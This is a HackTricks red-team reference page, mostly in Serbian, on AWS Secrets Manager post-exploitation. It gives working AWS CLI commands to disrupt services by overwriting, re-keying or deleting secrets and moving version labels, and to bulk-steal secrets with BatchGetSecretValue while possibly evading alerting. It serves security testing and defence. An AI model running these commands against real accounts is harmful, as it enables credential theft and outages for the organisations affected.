AWS - Secrets Manager Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Secrets Manager

For more information check:

AWS - Secrets Manager Enum

Čitanje Secrets

Sami secrets su osetljive informacije, pogledajte privesc stranicu da naučite kako da ih pročitate.

DoS — promena vrednosti secret-a

Promenom vrednosti secret-a možete izazvati DoS svih sistema koji zavise od te vrednosti.

Warning

Obratite pažnju da se prethodne vrednosti takođe čuvaju, pa je lako vratiti prethodnu vrednost.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Ako napadač ima permisiju secretsmanager:UpdateSecret, može da konfiguriše secret da koristi KMS ključ koji napadač poseduje. Taj ključ je inicijalno podešen tako da svako može pristupiti i koristiti ga, pa je moguće ažurirati secret novim ključem. Ako ključ nije bio dostupan, secret ne bi mogao biti ažuriran.

Nakon promene ključa za secret, napadač menja konfiguraciju svog ključa tako da samo on može pristupiti. Na taj način, u narednim verzijama secreta biće šifrovane novim ključem, i pošto nema pristupa tom ključu, mogućnost preuzimanja secreta biće izgubljena.

Važno je napomenuti da će ova nedostupnost nastupiti samo u kasnijim verzijama, nakon što se sadržaj secreta promeni, jer je trenutna verzija i dalje šifrovana originalnim KMS ključem.

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Brisanje Secret

Minimalan broj dana za brisanje secret-a je 7

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Moguće je vratiti tajnu, što omogućava povraćaj tajni koje su zakazane za brisanje, pošto je minimalni period brisanja za tajne 7 dana, a maksimalni 30 dana. Zajedno sa permisijom secretsmanager:GetSecretValue, ovo omogućava preuzimanje njihovog sadržaja.

Da biste povratili tajnu koja je u procesu brisanja, možete koristiti sledeću komandu:

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Ova akcija omogućava brisanje resource policy koja kontroliše ko može da pristupi secret. Ovo može dovesti do DoS-a ukoliko je resource policy podešena da dozvoli pristup određenom skupu korisnika.

Da biste obrisali resource policy:

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Stanja tajne se koriste za upravljanje verzijama tajne. AWSCURRENT označava aktivnu verziju koju aplikacije koriste, AWSPREVIOUS čuva prethodnu verziju kako biste se mogli vratiti ako je potrebno, a AWSPENDING se koristi u procesu rotacije da pripremi i validira novu verziju pre nego što je učini trenutnom.

Aplikacije uvek čitaju verziju označenu kao AWSCURRENT. Ako neko premesti tu oznaku na pogrešnu verziju, aplikacije će koristiti nevažeće kredencijale i mogu da ne rade ispravno.

AWSPREVIOUS se ne koristi automatski. Međutim, ako se AWSCURRENT ukloni ili ponovo dodeli pogrešno, može izgledati da sve i dalje radi sa prethodnom verzijom.

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

Zloupotrebite Secrets Manager BatchGetSecretValue API da preuzmete do 20 tajni u jednom zahtevu. Ovo može drastično smanjiti broj API poziva u poređenju sa ponavljanjem GetSecretValue za svaku tajnu. Ako se koriste filteri (tags/name), potrebna je i dozvola ListSecrets. CloudTrail i dalje beleži po jedan GetSecretValue događaj za svaku tajnu preuzetu u batch-u.

Required permissions

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue for each target secret
  • secretsmanager:ListSecrets if using –filters
  • kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

Warning

Imajte na umu da dozvola secretsmanager:BatchGetSecretValue sama po sebi nije dovoljna za preuzimanje tajni — takođe vam treba secretsmanager:GetSecretValue za svaku tajnu koju želite da preuzmete.

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate putem filtera (tag key/value ili name prefix)

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Rukovanje delimičnim neuspesima

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Uticaj

  • Brzo “smash-and-grab” mnogih tajni sa manje API poziva, potencijalno zaobilaženje sistema za obaveštavanje podešenog na skokove GetSecretValue.
  • CloudTrail logovi i dalje uključuju po jedan GetSecretValue događaj za svaku tajnu preuzetu u seriji.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks